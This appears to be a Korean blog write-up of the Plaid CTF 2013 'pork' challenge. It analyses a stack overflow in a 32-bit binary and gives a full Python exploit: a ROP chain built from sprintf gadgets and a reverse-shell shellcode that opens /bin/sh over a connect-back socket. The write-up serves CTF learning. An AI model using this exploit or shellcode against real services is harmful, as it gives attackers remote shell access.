본문 바로가기

ctf

[Plaid CTF 2013] pork

# file pork-8c2fdf93e211c7358e0192a24bc951843da672b1

pork-8c2fdf93e211c7358e0192a24bc951843da672b1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=e163925191d2ce2e331746946dec30fddcfad4ba, not stripped

어떠한 방어 기법도 적용되어 있지 않은 32bit 바이너리이다.

 

 

취약점이 터지는 부분이다. 

buf는 우리가 main 함수에서 url 에 해당하는 부분인데 2048byte 만큼 입력받는 부분이다. s의 ebp 까지의 offset은 1112byte 이다. 얼핏봐도 충분히 ret address 를 조작할 수 있다.

 

조심해야 할 것은 이전에 sprintf 를 거치며 들어간 문자열을 빼주어야 한다.

>>> len("<html><title>404 Not found</title><body><h1>Not found</h1>\r\n<p>Could not find DNS entry for ")
92

즉, buffer(1020) | sfp(4) | ret(4) 이므로, 사용자 입력이 1024byte 부터 ret address 조작이 가능하다.

 

주의해야 할 것은 sscanf 로 입력을 받기 때문에 \x00, \x2f 와 같은 문자열을 쓰면 페이로드가 짤리게 된다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - -

from socket import *
from struct import *
import time

s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.140', 33227))

p = lambda x : pack("<L", x)

raw_input(">")

def sprintf(d,s):
    payload = p(0x0804887c)
    payload += p(0x080499a7)
    payload += p(d)
 payload += p(s)
   
    return payload

 

# reverse shellode - 72byte (ip - 127.0.0.1, port - 55555)

shellcode = "\x68\x7f\x01\x01\x01\x5e\x66\x68\xd9\x03\x5f\x6a" + \
            "\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1" + \
            "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" + \
            "\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a\x10\x51" + \
            "\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73" + \
            "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"

bss = 0x0804ad40

gadget = [ 0x804874c, 0x80482f0, 0x8049840, 0x8049650,  # bss+40
           0x8049840, 0x8049af8, 0x8049af8, 0x8049af8,  # 4
           0x804874c, 0x80482f0, 0x8049840, 0x8049650,  # bss+40
           0x8049af8, 0x8049af8, 0x8049a58, 0x8049af8]  # 0x500
         

payload = "A" * 1024
payload += sprintf(bss, 0x0804ac98)
bss += 4

for i in gadget:
    payload += sprintf(bss, i)
    bss += 1

payload += p(0x080499d8)    # pop ebp - ret
payload += p(0x0804ad3c)    # bss - 4
payload += p(0x080499f6)    # leave - ret

   
s.send("GET http://" + payload + "/ HTTP/1.1\r\n")
time.sleep(0.5)
s.send("\r\n")
s.send(shellcode)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'ctf' 카테고리의 다른 글

[pwnable.kr] fsb  (0) 2017.01.08
[pwnable.kr] simple_login  (0) 2017.01.08
[DEFCON 2015 CTF] r0pbaby  (0) 2017.01.05
[CodeGate 2016 CTF] BugBug  (0) 2017.01.04
[CodeGate 2016 CTF] Fl0ppy  (0) 2016.12.21